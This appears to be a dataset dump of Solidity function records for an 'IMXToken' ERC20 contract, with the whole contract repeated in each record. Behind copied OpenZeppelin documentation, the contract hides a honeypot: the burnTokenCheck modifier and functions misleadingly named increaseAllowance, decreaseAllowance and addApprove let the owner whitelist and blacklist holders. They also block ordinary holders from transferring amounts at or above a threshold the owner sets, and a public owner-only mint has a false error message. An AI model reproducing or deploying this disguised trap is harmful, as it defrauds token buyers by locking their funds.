/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
balanceOf
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
/** * @dev See {IERC20-balanceOf}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f
{ "func_code_index": [ 2713, 2837 ] }
59,263
IMXToken
IMXToken.sol
0xaeb29c7b70ceab600013680850c6533b577108e7
Solidity
IMXToken
contract IMXToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; }
/** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f
{ "func_code_index": [ 3045, 3229 ] }
59,264
IMXToken
IMXToken.sol
0xaeb29c7b70ceab600013680850c6533b577108e7
Solidity
IMXToken
contract IMXToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
allowance
function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; }
/** * @dev See {IERC20-allowance}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f
{ "func_code_index": [ 3776, 3932 ] }
59,265
IMXToken
IMXToken.sol
0xaeb29c7b70ceab600013680850c6533b577108e7
Solidity
IMXToken
contract IMXToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
